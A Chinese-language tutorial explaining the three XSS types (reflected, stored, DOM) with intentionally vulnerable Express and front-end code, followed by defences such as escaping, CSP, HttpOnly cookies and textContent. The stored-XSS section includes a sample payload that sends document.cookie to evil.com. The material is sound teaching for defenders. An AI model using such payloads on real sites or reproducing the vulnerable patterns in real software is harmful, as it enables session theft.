XSS 攻击:原理、分类与防御

了解 XSS 的三种类型及常用防御手段

问题

什么是 XSS 攻击?它有哪些类型?如何防御?

解答

XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者将恶意脚本注入到网页中,当用户浏览该页面时,脚本在用户浏览器中执行,从而窃取用户信息或执行恶意操作。

三种类型

1. 反射型 XSS

恶意脚本通过 URL 参数传入,服务器将其”反射”回页面。

// 攻击 URL 示例
// https://example.com/search?q=<script>alert(document.cookie)</script>

// 服务端代码(存在漏洞)
app.get('/search', (req, res) => {
  const query = req.query.q;
  // 直接将用户输入拼接到 HTML 中
  res.send(`<p>搜索结果:${query}</p>`);
});

2. 存储型 XSS

恶意脚本被存储到数据库,所有访问该页面的用户都会受影响。危害最大。

// 攻击者在评论框提交
// <script>fetch('https://evil.com?cookie=' + document.cookie)</script>

// 服务端代码(存在漏洞)
app.post('/comment', (req, res) => {
  // 直接存储用户输入
  db.save({ content: req.body.content });
});

app.get('/comments', (req, res) => {
  const comments = db.findAll();
  // 直接渲染到页面
  res.send(comments.map(c => `<div>${c.content}</div>`).join(''));
});

3. DOM 型 XSS

恶意脚本通过修改 DOM 执行,不经过服务器。

// 攻击 URL
// https://example.com/page#<img src=x onerror=alert(1)>

// 前端代码(存在漏洞)
const hash = location.hash.slice(1);
// 直接将 hash 插入 DOM
document.getElementById('content').innerHTML = hash;

防御措施

1. 输出转义

对用户输入进行 HTML 实体编码。

function escapeHtml(str) {
  const escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;'
  };
  return str.replace(/[&<>"'/]/g, char => escapeMap[char]);
}

// 使用
const userInput = '<script>alert(1)</script>';
element.innerHTML = escapeHtml(userInput);
// 输出:&lt;script&gt;alert(1)&lt;/script&gt;

2. CSP(Content Security Policy)

通过 HTTP 头限制资源加载来源。

# 只允许加载同源脚本
Content-Security-Policy: script-src 'self'

# 禁止内联脚本,只允许特定域名
Content-Security-Policy: script-src 'self' https://trusted.com

# 禁止 eval 和内联脚本
Content-Security-Policy: script-src 'self'; object-src 'none'
<!-- 或通过 meta 标签设置 -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

防止 JavaScript 读取敏感 Cookie。

// 服务端设置 Cookie
res.setHeader('Set-Cookie', 'sessionId=abc123; HttpOnly; Secure; SameSite=Strict');

// 或使用 express
res.cookie('sessionId', 'abc123', {
  httpOnly: true,  // JS 无法通过 document.cookie 读取
  secure: true,    // 仅 HTTPS 传输
  sameSite: 'strict' // 防止 CSRF
});

4. 使用安全的 API

// 危险:直接操作 HTML
element.innerHTML = userInput;
document.write(userInput);

// 安全:使用 textContent
element.textContent = userInput;

// React 中默认转义,但要避免 dangerouslySetInnerHTML
<div>{userInput}</div>  // 安全
<div dangerouslySetInnerHTML={{__html: userInput}} />  // 危险

关键点

  • 反射型:通过 URL 参数注入,一次性攻击
  • 存储型:恶意代码存入数据库,影响所有用户,危害最大
  • DOM 型:纯前端漏洞,不经过服务器
  • 防御核心:永远不信任用户输入,输出时转义
  • 多层防护:转义 + CSP + HttpOnly 组合使用